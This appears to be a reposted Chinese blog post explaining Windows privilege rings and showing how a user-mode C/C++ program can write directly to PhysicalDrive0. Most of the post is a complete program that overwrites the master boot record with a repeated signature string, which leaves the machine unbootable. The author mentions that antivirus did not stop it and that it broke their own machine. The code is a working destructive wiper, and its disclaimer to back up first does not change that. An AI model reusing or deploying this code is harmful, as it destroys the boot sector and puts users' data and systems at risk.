C/C++用户模式下改写硬盘主引导记录(MBR)

来源:互联网 发布:淘宝客服用语规范 编辑:程序博客网 时间:2024/05/10 07:52

CPU一共有四种权限级别:ring0 ring1 ring2 ring3

Windows只是用了ring0和ring3

我们在使用电脑时,一般在ring3模式下工作。在ring3模式下,我们无法使用CPU特权指令inout。对系统所属的数据,地址空间以及硬件也是有严格的限制的。

但是这对于操作系统来说是一件好事,可对于一些应用程序来说,就很无语了。

要想在ring3下完成这个任务,只能通过内核程序来进行使用。在Windows系统中,内核程序不受任何的限制,可以随意存取系统所属的数据,操作系统地址空间等。所以,开发内核程序必须要有严格的测试!

不过呢,想要在ring3级别下访问硬盘,也是很简单的!

那是因为:

Windows 操作系统为了自己编程方便,编写了在用户模式下调用的硬盘内核模式驱动程序,该程序在系统启动时候自动装载。我们只要掌握这个 Windows 内核模式的驱动程序,就可以直接在用户模式下直接无阻碍访问硬盘了。

不过想要掌握这个内核程序,也是很简单。因为:

硬盘内核驱动程序将硬盘作为一个文件,文件名为:"\\.\\physicaldrive0"

这样,我们就可以通过这个文件名,使用 CreateFile, ReadFile, WriteFile 和 DeviceIoControl 这几个API来进行访问硬盘。


题外话:我在测试的时候发现了一个大问题。就是我用这个程序在改写MBR的时候,我的360安全卫士竟然没提示,也没拦截!!!然后。。。。。额 就没有然后了(因为虚拟机跑不起来 所以我在真实机器上测试。幸亏备份MBR了)。。。。。

下面的代码,请谨慎使用。使用前请先备份MBR。以防数据丢失。

如果出现事故,与本人无关!

#include <windows.h>int main(void){//硬盘文件名LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";//主引导记录char code[]="By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> ""By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  ""By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> ""By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  ";BYTE MBR[512];DWORD s=NULL,t=NULL;/* 文件句柄 */HANDLE handle=NULL;//构造MBRmemcpy(MBR,code,sizeof(code)-1);//打开硬盘handle=CreateFileA(DiskFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);if(handle==INVALID_HANDLE_VALUE){//打开文件失败MessageBoxA(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);return 0;}else{//写入新的MBRWriteFile(handle,MBR,sizeof(MBR),&t,NULL);DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);CloseHandle(handle);//关闭文件MessageBoxA(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);return 0;}return 0;}


0 0
原创粉丝点击